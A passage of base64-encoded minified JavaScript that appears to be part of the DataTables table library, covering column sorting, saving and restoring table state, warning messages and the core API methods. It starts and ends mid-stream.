BpZSh0KXt2YXIgZSxuLGEscixjLGY9W10sdT1DLmV4dC50eXBlLm9yZGVyLGQ9dC5hb0RhdGEsbz0odC5hb0NvbHVtbnMsMCksaT10LmFpRGlzcGxheU1hc3Rlcjtmb3IobHQodCksZT0wLG49KGM9SSh0KSkubGVuZ3RoO2U8bjtlKyspKHI9Y1tlXSkuZm9ybWF0dGVyJiZvKyssZmUodCxyLmNvbCk7aWYoInNzcCIhPUUodCkmJjAhPT1jLmxlbmd0aCl7Zm9yKGU9MCxhPWkubGVuZ3RoO2U8YTtlKyspZltpW2VdXT1lO289PT1jLmxlbmd0aD9pLnNvcnQoZnVuY3Rpb24odCxlKXtmb3IodmFyIG4sYSxyLG8saT1jLmxlbmd0aCxsPWRbdF0uX2FTb3J0RGF0YSxzPWRbZV0uX2FTb3J0RGF0YSx1PTA7dTxpO3UrKylpZigwIT0ocj0obj1sWyhvPWNbdV0pLmNvbF0pPChhPXNbby5jb2xdKT8tMTphPG4/MTowKSlyZXR1cm4iYXNjIj09PW8uZGlyP3I6LXI7cmV0dXJuKG49Zlt0XSk8KGE9ZltlXSk/LTE6YTxuPzE6MH0pOmkuc29ydChmdW5jdGlvbih0LGUpe2Zvcih2YXIgbixhLHIsbz1jLmxlbmd0aCxpPWRbdF0uX2FTb3J0RGF0YSxsPWRbZV0uX2FTb3J0RGF0YSxzPTA7czxvO3MrKylpZihuPWlbKHI9Y1tzXSkuY29sXSxhPWxbci5jb2xdLDAhPT0ocj0odVtyLnR5cGUrIi0iK3IuZGlyXXx8dVsic3RyaW5nLSIrci5kaXJdKShuLGEpKSlyZXR1cm4gcjtyZXR1cm4obj1mW3RdKTwoYT1mW2VdKT8tMTphPG4/MTowfSl9dC5iU29ydGVkPSEwfWZ1bmN0aW9uIGxlKHQpe2Zvcih2YXIgZT10LmFvQ29sdW1ucyxuPUkodCksYT10Lm9MYW5ndWFnZS5vQXJpYSxyPTAsbz1lLmxlbmd0aDtyPG87cisrKXt2YXIgaT1lW3JdLGw9aS5hc1NvcnRpbmcscz1pLmFyaWFUaXRsZXx8aS5zVGl0bGUucmVwbGFjZSgvPC4qPz4vZywiIiksdT1pLm5UaDt1LnJlbW92ZUF0dHJpYnV0ZSgiYXJpYS1zb3J0IiksaT1pLmJTb3J0YWJsZT9zKygiYXNjIj09PSgwPG4ubGVuZ3RoJiZuWzBdLmNvbD09ciYmKHUuc2V0QXR0cmlidXRlKCJhcmlhLXNvcnQiLCJhc2MiPT1uWzBdLmRpcj8iYXNjZW5kaW5nIjoiZGVzY2VuZGluZyIpLGxbblswXS5pbmRleCsxXSl8fGxbMF0pP2Euc1NvcnRBc2NlbmRpbmc6YS5zU29ydERlc2NlbmRpbmcpOnMsdS5zZXRBdHRyaWJ1dGUoImFyaWEtbGFiZWwiLGkpfX1mdW5jdGlvbiBzZSh0LGUsbixhKXtmdW5jdGlvbiByKHQsZSl7dmFyIG49dC5faWR4O3JldHVybihuPW49PT1OP1AuaW5BcnJheSh0WzFdLHMpOm4pKzE8cy5sZW5ndGg/bisxOmU/bnVsbDowfXZhciBvLGk9dC5hb0NvbHVtbnNbZV0sbD10LmFhU29ydGluZyxzPWkuYXNTb3J0aW5nOyJudW1iZXIiPT10eXBlb2YgbFswXSYmKGw9dC5hYVNvcnRpbmc9W2xdKSxuJiZ0Lm9GZWF0dXJlcy5iU29ydE11bHRpPy0xIT09KGk9UC5pbkFycmF5KGUsSChsLCIwIikpKT9udWxsPT09KG89bnVsbD09PShvPXIobFtpXSwhMCkpJiYxPT09bC5sZW5ndGg/MDpvKT9sLnNwbGljZShpLDEpOihsW2ldWzFdPXNbb10sbFtpXS5faWR4PW8pOihsLnB1c2goW2Usc1swXSwwXSksbFtsLmxlbmd0aC0xXS5faWR4PTApOmwubGVuZ3RoJiZsWzBdWzBdPT1lPyhvPXIobFswXSksbC5sZW5ndGg9MSxsWzBdWzFdPXNbb10sbFswXS5faWR4PW8pOihsLmxlbmd0aD0wLGwucHVzaChbZSxzWzBdXSksbFswXS5faWR4PTApLHUodCksImZ1bmN0aW9uIj09dHlwZW9mIGEmJmEodCl9ZnVuY3Rpb24gdWUoZSx0LG4sYSl7dmFyIHI9ZS5hb0NvbHVtbnNbbl07bWUodCx7fSxmdW5jdGlvbih0KXshMSE9PXIuYlNvcnRhYmxlJiYoZS5vRmVhdHVyZXMuYlByb2Nlc3Npbmc/KEQoZSwhMCksc2V0VGltZW91dChmdW5jdGlvbigpe3NlKGUsbix0LnNoaWZ0S2V5LGEpLCJzc3AiIT09RShlKSYmRChlLCExKX0sMCkpOnNlKGUsbix0LnNoaWZ0S2V5LGEpKX0pfWZ1bmN0aW9uIGNlKHQpe3ZhciBlLG4sYSxyPXQuYUxhc3RTb3J0LG89dC5vQ2xhc3Nlcy5zU29ydENvbHVtbixpPUkodCksbD10Lm9GZWF0dXJlcztpZihsLmJTb3J0JiZsLmJTb3J0Q2xhc3Nlcyl7Zm9yKGU9MCxuPXIubGVuZ3RoO2U8bjtlKyspYT1yW2VdLnNyYyxQKEgodC5hb0RhdGEsImFuQ2VsbHMiLGEpKS5yZW1vdmVDbGFzcyhvKyhlPDI/ZSsxOjMpKTtmb3IoZT0wLG49aS5sZW5ndGg7ZTxuO2UrKylhPWlbZV0uc3JjLFAoSCh0LmFvRGF0YSwiYW5DZWxscyIsYSkpLmFkZENsYXNzKG8rKGU8Mj9lKzE6MykpfXQuYUxhc3RTb3J0PWl9ZnVuY3Rpb24gZmUodCxlKXtmb3IodmFyIG4sYSxyLG89dC5hb0NvbHVtbnNbZV0saT1DLmV4dC5vcmRlcltvLnNTb3J0RGF0YVR5cGVdLGw9KGkmJihuPWkuY2FsbCh0Lm9JbnN0YW5jZSx0LGUsb3QodCxlKSkpLEMuZXh0LnR5cGUub3JkZXJbby5zVHlwZSsiLXByZSJdKSxzPTAsdT10LmFvRGF0YS5sZW5ndGg7czx1O3MrKykoYT10LmFvRGF0YVtzXSkuX2FTb3J0RGF0YXx8KGEuX2FTb3J0RGF0YT1bXSksYS5fYVNvcnREYXRhW2VdJiYhaXx8KHI9aT9uW3NdOlModCxzLGUsInNvcnQiKSxhLl9hU29ydERhdGFbZV09bD9sKHIpOnIpfWZ1bmN0aW9uIGRlKG4pe3ZhciB0O24uX2JMb2FkaW5nU3RhdGV8fCh0PXt0aW1lOituZXcgRGF0ZSxzdGFydDpuLl9pRGlzcGxheVN0YXJ0LGxlbmd0aDpuLl9pRGlzcGxheUxlbmd0aCxvcmRlcjpQLmV4dGVuZCghMCxbXSxuLmFhU29ydGluZyksc2VhcmNoOkV0KG4ub1ByZXZpb3VzU2VhcmNoKSxjb2x1bW5zOlAubWFwKG4uYW9Db2x1bW5zLGZ1bmN0aW9uKHQsZSl7cmV0dXJue3Zpc2libGU6dC5iVmlzaWJsZSxzZWFyY2g6RXQobi5hb1ByZVNlYXJjaENvbHNbZV0pfX0pfSxuLm9TYXZlZFN0YXRlPXQsUihuLCJhb1N0YXRlU2F2ZVBhcmFtcyIsInN0YXRlU2F2ZVBhcmFtcyIsW24sdF0pLG4ub0ZlYXR1cmVzLmJTdGF0ZVNhdmUmJiFuLmJEZXN0cm95aW5nJiZuLmZuU3RhdGVTYXZlQ2FsbGJhY2suY2FsbChuLm9JbnN0YW5jZSxuLHQpKX1mdW5jdGlvbiBoZShlLHQsbil7dmFyIGE7aWYoZS5vRmVhdHVyZXMuYlN0YXRlU2F2ZSlyZXR1cm4oYT1lLmZuU3RhdGVMb2FkQ2FsbGJhY2suY2FsbChlLm9JbnN0YW5jZSxlLGZ1bmN0aW9uKHQpe3BlKGUsdCxuKX0pKSE9PU4mJnBlKGUsYSxuKSwhMDtuKCl9ZnVuY3Rpb24gcGUobix0LGUpe3ZhciBhLHIsbz1uLmFvQ29sdW1ucyxpPShuLl9iTG9hZGluZ1N0YXRlPSEwLG4uX2JJbml0Q29tcGxldGU/bmV3IEMuQXBpKG4pOm51bGwpO2lmKHQmJnQudGltZSl7dmFyIGw9UihuLCJhb1N0YXRlTG9hZFBhcmFtcyIsInN0YXRlTG9hZFBhcmFtcyIsW24sdF0pO2lmKC0xIT09UC5pbkFycmF5KCExLGwpKW4uX2JMb2FkaW5nU3RhdGU9ITE7ZWxzZXtsPW4uaVN0YXRlRHVyYXRpb247aWYoMDxsJiZ0LnRpbWU8K25ldyBEYXRlLTFlMypsKW4uX2JMb2FkaW5nU3RhdGU9ITE7ZWxzZSBpZih0LmNvbHVtbnMmJm8ubGVuZ3RoIT09dC5jb2x1bW5zLmxlbmd0aCluLl9iTG9hZGluZ1N0YXRlPSExO2Vsc2V7aWYobi5vTG9hZGVkU3RhdGU9UC5leHRlbmQoITAse30sdCksdC5sZW5ndGghPT1OJiYoaT9pLnBhZ2UubGVuKHQubGVuZ3RoKTpuLl9pRGlzcGxheUxlbmd0aD10Lmxlbmd0aCksdC5zdGFydCE9PU4mJihudWxsPT09aT8obi5faURpc3BsYXlTdGFydD10LnN0YXJ0LG4uaUluaXREaXNwbGF5U3RhcnQ9dC5zdGFydCk6WXQobix0LnN0YXJ0L24uX2lEaXNwbGF5TGVuZ3RoKSksdC5vcmRlciE9PU4mJihuLmFhU29ydGluZz1bXSxQLmVhY2godC5vcmRlcixmdW5jdGlvbih0LGUpe24uYWFTb3J0aW5nLnB1c2goZVswXT49by5sZW5ndGg/WzAsZVsxXV06ZSl9KSksdC5zZWFyY2ghPT1OJiZQLmV4dGVuZChuLm9QcmV2aW91c1NlYXJjaCxCdCh0LnNlYXJjaCkpLHQuY29sdW1ucyl7Zm9yKGE9MCxyPXQuY29sdW1ucy5sZW5ndGg7YTxyO2ErKyl7dmFyIHM9dC5jb2x1bW5zW2FdO3MudmlzaWJsZSE9PU4mJihpP2kuY29sdW1uKGEpLnZpc2libGUocy52aXNpYmxlLCExKTpvW2FdLmJWaXNpYmxlPXMudmlzaWJsZSkscy5zZWFyY2ghPT1OJiZQLmV4dGVuZChuLmFvUHJlU2VhcmNoQ29sc1thXSxCdChzLnNlYXJjaCkpfWkmJmkuY29sdW1ucy5hZGp1c3QoKX1uLl9iTG9hZGluZ1N0YXRlPSExLFIobiwiYW9TdGF0ZUxvYWRlZCIsInN0YXRlTG9hZGVkIixbbix0XSl9fX1lbHNlIG4uX2JMb2FkaW5nU3RhdGU9ITE7ZSgpfWZ1bmN0aW9uIGdlKHQpe3ZhciBlPUMuc2V0dGluZ3MsdD1QLmluQXJyYXkodCxIKGUsIm5UYWJsZSIpKTtyZXR1cm4tMSE9PXQ/ZVt0XTpudWxsfWZ1bmN0aW9uIFcodCxlLG4sYSl7aWYobj0iRGF0YVRhYmxlcyB3YXJuaW5nOiAiKyh0PyJ0YWJsZSBpZD0iK3Quc1RhYmxlSWQrIiAtICI6IiIpK24sYSYmKG4rPSIuIEZvciBtb3JlIGluZm9ybWF0aW9uIGFib3V0IHRoaXMgZXJyb3IsIHBsZWFzZSBzZWUgaHR0cDovL2RhdGF0YWJsZXMubmV0L3RuLyIrYSksZSlqLmNvbnNvbGUmJmNvbnNvbGUubG9nJiZjb25zb2xlLmxvZyhuKTtlbHNle2U9Qy5leHQsZT1lLnNFcnJNb2RlfHxlLmVyck1vZGU7aWYodCYmUih0LG51bGwsImVycm9yIixbdCxhLG5dKSwiYWxlcnQiPT1lKWFsZXJ0KG4pO2Vsc2V7aWYoInRocm93Ij09ZSl0aHJvdyBuZXcgRXJyb3Iobik7ImZ1bmN0aW9uIj09dHlwZW9mIGUmJmUodCxhLG4pfX19ZnVuY3Rpb24gRihuLGEsdCxlKXtBcnJheS5pc0FycmF5KHQpP1AuZWFjaCh0LGZ1bmN0aW9uKHQsZSl7QXJyYXkuaXNBcnJheShlKT9GKG4sYSxlWzBdLGVbMV0pOkYobixhLGUpfSk6KGU9PT1OJiYoZT10KSxhW3RdIT09TiYmKG5bZV09YVt0XSkpfWZ1bmN0aW9uIGJlKHQsZSxuKXt2YXIgYSxyO2ZvcihyIGluIGUpZS5oYXNPd25Qcm9wZXJ0eShyKSYmKGE9ZVtyXSxQLmlzUGxhaW5PYmplY3QoYSk/KFAuaXNQbGFpbk9iamVjdCh0W3JdKXx8KHRbcl09e30pLFAuZXh0ZW5kKCEwLHRbcl0sYSkpOm4mJiJkYXRhIiE9PXImJiJhYURhdGEiIT09ciYmQXJyYXkuaXNBcnJheShhKT90W3JdPWEuc2xpY2UoKTp0W3JdPWEpO3JldHVybiB0fWZ1bmN0aW9uIG1lKGUsdCxuKXtQKGUpLm9uKCJjbGljay5EVCIsdCxmdW5jdGlvbih0KXtQKGUpLnRyaWdnZXIoImJsdXIiKSxuKHQpfSkub24oImtleXByZXNzLkRUIix0LGZ1bmN0aW9uKHQpezEzPT09dC53aGljaCYmKHQucHJldmVudERlZmF1bHQoKSxuKHQpKX0pLm9uKCJzZWxlY3RzdGFydC5EVCIsZnVuY3Rpb24oKXtyZXR1cm4hMX0pfWZ1bmN0aW9uIEwodCxlLG4sYSl7biYmdFtlXS5wdXNoKHtmbjpuLHNOYW1lOmF9KX1mdW5jdGlvbiBSKG4sdCxlLGEpe3ZhciByPVtdO3JldHVybiB0JiYocj1QLm1hcChuW3RdLnNsaWNlKCkucmV2ZXJzZSgpLGZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQuZm4uYXBwbHkobi5vSW5zdGFuY2UsYSl9KSksbnVsbCE9PWUmJih0PVAuRXZlbnQoZSsiLmR0IiksUChuLm5UYWJsZSkudHJpZ2dlcih0LGEpLHIucHVzaCh0LnJlc3VsdCkpLHJ9ZnVuY3Rpb24gU2UodCl7dmFyIGU9dC5faURpc3BsYXlTdGFydCxuPXQuZm5EaXNwbGF5RW5kKCksYT10Ll9pRGlzcGxheUxlbmd0aDtuPD1lJiYoZT1uLWEpLGUtPWUlYSx0Ll9pRGlzcGxheVN0YXJ0PWU9LTE9PT1hfHxlPDA/MDplfWZ1bmN0aW9uIHZlKHQsZSl7dmFyIHQ9dC5yZW5kZXJlcixuPUMuZXh0LnJlbmRlcmVyW2VdO3JldHVybiBQLmlzUGxhaW5PYmplY3QodCkmJnRbZV0/blt0W2VdXXx8bi5fOiJzdHJpbmciPT10eXBlb2YgdCYmblt0XXx8bi5ffWZ1bmN0aW9uIEUodCl7cmV0dXJuIHQub0ZlYXR1cmVzLmJTZXJ2ZXJTaWRlPyJzc3AiOnQuYWpheHx8dC5zQWpheFNvdXJjZT8iYWpheCI6ImRvbSJ9ZnVuY3Rpb24geWUodCxuKXt2YXIgYTtyZXR1cm4gQXJyYXkuaXNBcnJheSh0KT9QLm1hcCh0LGZ1bmN0aW9uKHQpe3JldHVybiB5ZSh0LG4pfSk6Im51bWJlciI9PXR5cGVvZiB0P1tuW3RdXTooYT1QLm1hcChuLGZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQublRhYmxlfSksUChhKS5maWx0ZXIodCkubWFwKGZ1bmN0aW9uKHQpe3ZhciBlPVAuaW5BcnJheSh0aGlzLGEpO3JldHVybiBuW2VdfSkudG9BcnJheSgpKX1mdW5jdGlvbiBEZShyLG8sdCl7dmFyIGUsbjt0JiYoZT1uZXcgQihyKSkub25lKCJkcmF3IixmdW5jdGlvbigpe3QoZS5hamF4Lmpzb24oKSl9KSwic3NwIj09RShyKT91KHIsbyk6KEQociwhMCksKG49ci5qcVhIUikmJjQhPT1uLnJlYWR5U3RhdGUmJm4uYWJvcnQoKSxUdChyLFtdLGZ1bmN0aW9uKHQpe3B0KHIpO2Zvcih2YXIgZT1GdChyLHQpLG49MCxhPWUubGVuZ3RoO248YTtuKyspeChyLGVbbl0pO3UocixvKSxEKHIsITEpfSkpfWZ1bmN0aW9uIF9lKHQsZSxuLGEscil7Zm9yKHZhciBvLGksbCxzLHU9W10sYz10eXBlb2YgZSxmPTAsZD0oZT1lJiYic3RyaW5nIiE9YyYmImZ1bmN0aW9uIiE9YyYmZS5sZW5ndGghPT1OP2U6W2VdKS5sZW5ndGg7ZjxkO2YrKylmb3IobD0wLHM9KGk9ZVtmXSYmZVtmXS5zcGxpdCYmIWVbZl0ubWF0Y2goL1tcW1woOl0vKT9lW2ZdLnNwbGl0KCIsIik6W2VbZl1dKS5sZW5ndGg7bDxzO2wrKykobz1uKCJzdHJpbmciPT10eXBlb2YgaVtsXT9pW2xdLnRyaW0oKTppW2xdKSkmJm8ubGVuZ3RoJiYodT11LmNvbmNhdChvKSk7dmFyIGg9cC5zZWxlY3Rvclt0XTtpZihoLmxlbmd0aClmb3IoZj0wLGQ9aC5sZW5ndGg7ZjxkO2YrKyl1PWhbZl0oYSxyLHUpO3JldHVybiB6KHUpfWZ1bmN0aW9uIENlKHQpe3JldHVybih0PXR8fHt9KS5maWx0ZXImJnQuc2VhcmNoPT09TiYmKHQuc2VhcmNoPXQuZmlsdGVyKSxQLmV4dGVuZCh7c2VhcmNoOiJub25lIixvcmRlcjoiY3VycmVudCIscGFnZToiYWxsIn0sdCl9ZnVuY3Rpb24gd2UodCl7Zm9yKHZhciBlPTAsbj10Lmxlbmd0aDtlPG47ZSsrKWlmKDA8dFtlXS5sZW5ndGgpcmV0dXJuIHRbMF09dFtlXSx0WzBdLmxlbmd0aD0xLHQubGVuZ3RoPTEsdC5jb250ZXh0PVt0LmNvbnRleHRbZV1dLHQ7cmV0dXJuIHQubGVuZ3RoPTAsdH1mdW5jdGlvbiBUZShvLHQsZSxuKXtmdW5jdGlvbiBpKHQsZSl7dmFyIG47aWYoQXJyYXkuaXNBcnJheSh0KXx8dCBpbnN0YW5jZW9mIFApZm9yKHZhciBhPTAscj10Lmxlbmd0aDthPHI7YSsrKWkodFthXSxlKTtlbHNlIHQubm9kZU5hbWUmJiJ0ciI9PT10Lm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk/bC5wdXNoKHQpOihuPVAoIjx0cj48dGQ+PC90ZD48L3RyPiIpLmFkZENsYXNzKGUpLFAoInRkIixuKS5hZGRDbGFzcyhlKS5odG1sKHQpWzBdLmNvbFNwYW49VChvKSxsLnB1c2goblswXSkpfXZhciBsPVtdO2koZSxuKSx0Ll9kZXRhaWxzJiZ0Ll9kZXRhaWxzLmRldGFjaCgpLHQuX2RldGFpbHM9UChsKSx0Ll9kZXRhaWxzU2hvdyYmdC5fZGV0YWlscy5pbnNlcnRBZnRlcih0Lm5Ucil9ZnVuY3Rpb24geGUodCxlKXt2YXIgbj10LmNvbnRleHQ7aWYobi5sZW5ndGgmJnQubGVuZ3RoKXt2YXIgYT1uWzBdLmFvRGF0YVt0WzBdXTtpZihhLl9kZXRhaWxzKXsoYS5fZGV0YWlsc1Nob3c9ZSk/KGEuX2RldGFpbHMuaW5zZXJ0QWZ0ZXIoYS5uVHIpLFAoYS5uVHIpLmFkZENsYXNzKCJkdC1oYXNDaGlsZCIpKTooYS5fZGV0YWlscy5kZXRhY2goKSxQKGEublRyKS5yZW1vdmVDbGFzcygiZHQtaGFzQ2hpbGQiKSksUihuWzBdLG51bGwsImNoaWxkUm93IixbZSx0LnJvdyh0WzBdKV0pO3ZhciBzPW5bMF0scj1uZXcgQihzKSxhPSIuZHQuRFRfZGV0YWlscyIsZT0iZHJhdyIrYSx0PSJjb2x1bW4tc2l6aW5nIithLGE9ImRlc3Ryb3kiK2EsdT1zLmFvRGF0YTtpZihyLm9mZihlKyIgIit0KyIgIithKSxIKHUsIl9kZXRhaWxzIikubGVuZ3RoPjApe3Iub24oZSxmdW5jdGlvbih0LGUpe2lmKHMhPT1lKXJldHVybjtyLnJvd3Moe3BhZ2U6ImN1cnJlbnQifSkuZXEoMCkuZWFjaChmdW5jdGlvbih0KXt2YXIgZT11W3RdO2lmKGUuX2RldGFpbHNTaG93KWUuX2RldGFpbHMuaW5zZXJ0QWZ0ZXIoZS5uVHIpfSl9KTtyLm9uKHQsZnVuY3Rpb24odCxlLG4sYSl7aWYocyE9PWUpcmV0dXJuO3ZhciByLG89VChlKTtmb3IodmFyIGk9MCxsPXUubGVuZ3RoO2k8bDtpKyspe3I9dVtpXTtpZihyLl9kZXRhaWxzKXIuX2RldGFpbHMuY2hpbGRyZW4oInRkW2NvbHNwYW5dIikuYXR0cigiY29sc3BhbiIsbyl9fSk7ci5vbihhLGZ1bmN0aW9uKHQsZSl7aWYocyE9PWUpcmV0dXJuO2Zvcih2YXIgbj0wLGE9dS5sZW5ndGg7bjxhO24rKylpZih1W25dLl9kZXRhaWxzKVJlKHIsbil9KX1MZShuKX19fWZ1bmN0aW9uIEFlKHQsZSxuLGEscil7Zm9yKHZhciBvPVtdLGk9MCxsPXIubGVuZ3RoO2k8bDtpKyspby5wdXNoKFModCxyW2ldLGUpKTtyZXR1cm4gb312YXIgSWU9W10sbz1BcnJheS5wcm90b3R5cGUsQj1mdW5jdGlvbih0LGUpe2lmKCEodGhpcyBpbnN0YW5jZW9mIEIpKXJldHVybiBuZXcgQih0LGUpO2Z1bmN0aW9uIG4odCl7dmFyIGUsbixhLHI7dD10LGE9Qy5zZXR0aW5ncyxyPVAubWFwKGEsZnVuY3Rpb24odCxlKXtyZXR1cm4gdC5uVGFibGV9KSwodD10P3QublRhYmxlJiZ0Lm9BcGk/W3RdOnQubm9kZU5hbWUmJiJ0YWJsZSI9PT10Lm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk/LTEhPT0oZT1QLmluQXJyYXkodCxyKSk/W2FbZV1dOm51bGw6dCYmImZ1bmN0aW9uIj09dHlwZW9mIHQuc2V0dGluZ3M/dC5zZXR0aW5ncygpLnRvQXJyYXkoKTooInN0cmluZyI9PXR5cGVvZiB0P249UCh0KTp0IGluc3RhbmNlb2YgUCYmKG49dCksbj9uLm1hcChmdW5jdGlvbih0KXtyZXR1cm4tMSE9PShlPVAuaW5BcnJheSh0aGlzLHIpKT9hW2VdOm51bGx9KS50b0FycmF5KCk6dm9pZCAwKTpbXSkmJm8ucHVzaC5hcHBseShvLHQpfXZhciBvPVtdO2lmKEFycmF5LmlzQXJyYXkodCkpZm9yKHZhciBhPTAscj10Lmxlbmd0aDthPHI7YSsrKW4odFthXSk7ZWxzZSBuKHQpO3RoaXMuY29udGV4dD16KG8pLGUmJlAubWVyZ2UodGhpcyxlKSx0aGlzLnNlbGVjdG9yPXtyb3dzOm51bGwsY29sczpudWxsLG9wdHM6bnVsbH0sQi5leHRlbmQodGhpcyx0aGlzLEllKX0sRmU9KEMuQXBpPUIsUC5leHRlbmQoQi5wcm90b3R5cGUse2FueTpmdW5jdGlvbigpe3JldHVybiAwIT09dGhpcy5jb3VudCgpfSxjb25jYXQ6by5jb25jYXQsY29udGV4dDpbXSxjb3VudDpmdW5jdGlvbigpe3JldHVybiB0aGlzLmZsYXR0ZW4oKS5sZW5ndGh9LGVhY2g6ZnVuY3Rpb24odCl7Zm9yKHZhciBlPTAsbj10aGlzLmxlbmd0aDtlPG47ZSsrKXQuY2FsbCh0aGlzLHRoaXNbZV0sZSx0aGlzKTtyZXR1cm4gdGhpc30sZXE6ZnVuY3Rpb24odCl7dmFyIGU9dGhpcy5jb250ZXh0O3JldHVybiBlLmxlbmd0aD50P25ldyBCKGVbdF0sdGhpc1t0XSk6bnVsbH0sZmlsdGVyOmZ1bmN0aW9uKHQpe3ZhciBlPVtdO2lmKG8uZmlsdGVyKWU9by5maWx0ZXIuY2FsbCh0aGlzLHQsdGhpcyk7ZWxzZSBmb3IodmFyIG49MCxhPXRoaXMubGVuZ3RoO248YTtuKyspdC5jYWxsKHRoaXMsdGhpc1tuXSxuLHRoaXMpJiZlLnB1c2godGhpc1tuXSk7cmV0dXJuIG5ldyBCKHRoaXMuY29udGV4dCxlKX0sZmxhdHRlbjpmdW5jdGlvbigpe3ZhciB0PVtdO3JldHVybiBuZXcgQih0aGlzLmNvbnRleHQsdC5jb25jYXQuYXBwbHkodCx0aGlzLnRvQXJyYXkoKSkpfSxqb2luOm8uam9pbixpbmRleE9mOm8uaW5kZXhPZnx8ZnVuY3Rpb24odCxlKXtmb3IodmFyIG49ZXx8MCxhPXRoaXMubGVuZ3RoO248YTtuKyspaWYodGhpc1tuXT09PXQpcmV0dXJuIG47cmV0dXJuLTF9LGl0ZXJhdG9yOmZ1bmN0aW9uKHQsZSxuLGEpe3ZhciByLG8saSxsLHMsdSxjLGYsZD1bXSxoPXRoaXMuY29udGV4dCxwPXRoaXMuc2VsZWN0b3I7Zm9yKCJzdHJpbmciPT10eXBlb2YgdCYmKGE9bixuPWUsZT10LHQ9ITEpLG89MCxpPWgubGVuZ3RoO288aTtvKyspe3ZhciBnPW5ldyBCKGhbb10pO2lmKCJ0YWJsZSI9PT1lKShyPW4uY2FsbChnLGhbb10sbykpIT09TiYmZC5wdXNoKHIpO2Vsc2UgaWYoImNvbHVtbnMiPT09ZXx8InJvd3MiPT09ZSkocj1uLmNhbGwoZyxoW29dLHRoaXNbb10sbykpIT09TiYmZC5wdXNoKHIpO2Vsc2UgaWYoImNvbHVtbiI9PT1lfHwiY29sdW1uLXJvd3MiPT09ZXx8InJvdyI9PT1lfHwiY2VsbCI9PT1lKWZvcihjPXRoaXNbb10sImNvbHVtbi1yb3dzIj09PWUmJih1PUZlKGhbb10scC5vcHRzKSksbD0wLHM9Yy5sZW5ndGg7bDxzO2wrKylmPWNbbF0sKHI9ImNlbGwiPT09ZT9uLmNhbGwoZyxoW29dLGYucm93LGYuY29sdW1uLG8sbCk6bi5jYWxsKGcsaFtvXSxmLG8sbCx1KSkhPT1OJiZkLnB1c2gocil9cmV0dXJuIGQubGVuZ3RofHxhPygodD0oYT1uZXcgQihoLHQ/ZC5jb25jYXQuYXBwbHkoW10sZCk6ZCkpLnNlbGVjdG9yKS5yb3dzPXAucm93cyx0LmNvbHM9cC5jb2xzLHQub3B0cz1wLm9wdHMsYSk6dGhpc30sbGFzdEluZGV4T2Y6by5sYXN0SW5kZXhPZnx8ZnVuY3Rpb24odCxlKXtyZXR1cm4gdGhpcy5pbmRleE9mLmFwcGx5KHRoaXMudG9BcnJheS5yZXZlcnNlKCksYXJndW1lbnRzKX0sbGVuZ3RoOjAsbWFwOmZ1bmN0aW9uKHQpe3ZhciBlPVtdO2lmKG8ubWFwKWU9by5tYXAuY2FsbCh0aGlzLHQsdGhpcyk7ZWxzZSBmb3IodmFyIG49MCxhPXRoaXMubGVuZ3RoO248YTtuKyspZS5wdXNoKHQuY2FsbCh0aGlzLHRoaXNbbl0sbikpO3JldHVybiBuZXcgQih0aGlzLmNvbnRleHQsZSl9LHBsdWNrOmZ1bmN0aW9uKHQpe2xldCBlPUMudXRpbC5nZXQodCk7cmV0dXJuIHRoaXMubWFwKGZ1bmN0aW9uKHQpe3JldHVybiBlKHQpfSl9LHBvcDpvLnBvcCxwdXNoOm8ucHVzaCxyZWR1Y2U6by5yZWR1Y2V8fGZ1bmN0aW9uKHQsZSl7cmV0dXJuIGV0KHRoaXMsdCxlLDAsdGhpcy5sZW5ndGgsMSl9LHJlZHVjZVJpZ2h0Om8ucmVkdWNlUmlnaHR8fGZ1bmN0aW9uKHQsZSl7cmV0dXJuIGV0KHRoaXMsdCxlLHRoaXMubGVuZ3RoLTEsLTEsLTEpfSxyZXZlcnNlOm8ucmV2ZXJzZSxzZWxlY3RvcjpudWxsLHNoaWZ0Om8uc2hpZnQsc2xpY2U6ZnVuY3Rpb24oKXtyZXR1cm4gbmV3IEIodGhpcy5jb250ZXh0LHRoaXMpfSxzb3J0Om8uc29ydCxzcGxpY2U6by5zcGxpY2UsdG9BcnJheTpmdW5jdGlvbigpe3JldHVybiBvLnNsaWNlLmNhbGwodGhpcyl9LHRvJDpmdW5jdGlvbigpe3JldHVybiBQKHRoaXMpfSx0b0pRdWVyeTpmdW5jdGlvbigpe3JldHVybiBQKHRoaXMpfSx1bmlxdWU6ZnVuY3Rpb24oKXtyZXR1cm4gbmV3IEIodGhpcy5jb250ZXh0LHoodGhpcykpfSx1bnNoaWZ0Om8udW5zaGlmdH0pLEIuZXh0ZW5kPWZ1bmN0aW9uKHQsZSxuKXtpZihuLmxlbmd0aCYmZSYmKGUgaW5zdGFuY2VvZiBCfHxlLl9fZHRfd3JhcHBlcikpZm9yKHZhciBhLHI9MCxvPW4ubGVuZ3RoO3I8bztyKyspZVsoYT1uW3JdKS5uYW1lXT0iZnVuY3Rpb24iPT09YS50eXBlP2Z1bmN0aW9uKGUsbixhKXtyZXR1cm4gZnVuY3Rpb24oKXt2YXIgdD1uLmFwcGx5KGUsYXJndW1lbnRzKTtyZXR1cm4gQi5leHRlbmQodCx0LGEubWV0aG9kRXh0KSx0fX0odCxhLnZhbCxhKToib2JqZWN0Ij09PWEudHlwZT97fTphLnZhbCxlW2EubmFtZV0uX19kdF93cmFwcGVyPSEwLEIuZXh0ZW5kKHQsZVthLm5hbWVdLGEucHJvcEV4dCl9LEIucmVnaXN0ZXI9ZT1mdW5jdGlvbih0LGUpe2lmKEFycmF5LmlzQXJyYXkodCkpZm9yKHZhciBuPTAsYT10Lmxlbmd0aDtuPGE7bisrKUIucmVnaXN0ZXIodFtuXSxlKTtlbHNlIGZvcih2YXIgcj10LnNwbGl0KCIuIiksbz1JZSxpPTAsbD1yLmxlbmd0aDtpPGw7aSsrKXt2YXIgcyx1LGM9ZnVuY3Rpb24odCxlKXtmb3IodmFyIG49MCxhPXQubGVuZ3RoO248YTtuKyspaWYodFtuXS5uYW1lPT09ZSlyZXR1cm4gdFtuXTtyZXR1cm4gbnVsbH0obyx1PShzPS0xIT09cltpXS5pbmRleE9mKCIoKSIpKT9yW2ldLnJlcGxhY2UoIigpIiwiIik6cltpXSk7Y3x8by5wdXNoKGM9e25hbWU6dSx2YWw6e30sbWV0aG9kRXh0OltdLHByb3BFeHQ6W10sdHlwZToib2JqZWN0In0pLGk9PT1sLTE/KGMudmFsPWUsYy50eXBlPSJmdW5jdGl